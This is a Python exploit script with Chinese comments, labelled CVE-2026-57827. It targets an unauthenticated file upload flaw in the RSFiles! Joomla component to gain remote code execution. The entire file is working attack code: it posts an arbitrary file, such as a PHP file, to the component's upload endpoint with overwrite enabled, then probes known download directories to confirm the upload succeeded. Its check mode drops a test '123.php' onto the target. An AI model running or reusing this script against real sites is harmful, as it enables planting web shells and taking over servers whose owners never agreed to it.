#!/usr/bin/env python3
	import requests
	import argparse
	import os
	import urllib3
	# 禁用未验证HTTPS请求的警告
	urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
	# 漏洞利用常量
	UPLOAD_ENDPOINT = "/index.php?option=com_rsfiles&task=rsfiles.upload"
	DOWNLOAD_PATHS = [
	    "/downloads/",
	    "/briefcase/",
	    "/components/com_rsfiles/downloads/",
	    "/images/rsfiles/",
	]
	def check_and_upload(base_url, filename, file_content, is_check_mode=False):
	    """
	    执行上传并验证文件是否可访问
	    """
	    # 规范化 URL
	    if not base_url.startswith("http://") and not base_url.startswith("https://"):
	        base_url = "http://" + base_url
	    base_url = base_url.rstrip('/')
	    upload_url = f"{base_url}{UPLOAD_ENDPOINT}"
	    # 构造上传数据包
	    files = {"file": (filename, file_content, "application/octet-stream")}
	    data = {
	        "option": "com_rsfiles",
	        "task": "rsfiles.upload",
	        "folder": "",
	        "from": "",
	        "overwrite": "1",
	    }
	    try:
	        # 发送上传请求
	        requests.post(upload_url, files=files, data=data, timeout=10, verify=False)
	    except requests.RequestException:
	        pass
	    # 遍历可能的下载路径验证文件是否上传成功
	    for path in DOWNLOAD_PATHS:
	        verify_url = f"{base_url}{path}{filename}"
	        try:
	            res = requests.get(verify_url, timeout=5, verify=False)
	            # 验证条件：状态码为 200
	            if res.status_code == 200:
	                # 如果是检测模式，需确认内容为 "123"
	                if is_check_mode and res.text.strip() != "123":
	                    continue
	                return True
	        except requests.RequestException:
	            continue
	    return False
	def main():
	    parser = argparse.ArgumentParser(
	        description="CVE-2026-57827 — RSFiles! Joomla Component Unauthenticated File Upload RCE",
	        epilog="示例:\n"
	               "  检测漏洞: python CVE-2026-57827.py -u http://target.com\n"
	               "  上传文件: python CVE-2026-57827.py -u http://target.com -f D:\\123\\123.php",
	        formatter_class=argparse.RawTextHelpFormatter
	    )
	    parser.add_argument("-u", "--url", required=True, help="目标 URL (如: http://target.com)")
	    parser.add_argument("-f", "--file", help="要上传的本地文件路径 (如: D:\123\123.php)")
	    args = parser.parse_args()
	    if args.file:
	        # 上传指定文件模式
	        if not os.path.isfile(args.file):
	            print(f"[-] 本地文件不存在: {args.file}")
	            return
	        filename = os.path.basename(args.file)
	        with open(args.file, "rb") as f:
	            content = f.read()
	        print(f"[*] 正在上传文件: {filename} ...")
	        success = check_and_upload(args.url, filename, content, is_check_mode=False)
	        if success:
	            print("[+] 存在漏洞")
	        else:
	            print("[-] 上传失败，请检查漏洞是否存在")
	    else:
	        # 漏洞检测模式
	        print("[*] 正在检测漏洞是否存在...")
	        success = check_and_upload(args.url, "123.php", b"123", is_check_mode=True)
	        if success:
	            print("[+] 存在漏洞")
	        else:
	            print("[-] 不存在漏洞")
	if __name__ == "__main__":
	    main()